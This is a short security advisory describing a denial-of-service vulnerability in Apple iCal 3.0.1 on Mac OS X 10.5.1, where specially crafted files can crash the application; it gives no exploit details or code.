Apple iCal is prone to a denial-of-service vulnerability because it fails to handle specially crafted files.

An attacker can exploit this issue to crash the affected application, denying service to legitimate users.

This issue affects iCal 3.0.1 running on Mac OS X 10.5.1; previous versions may also be affected.
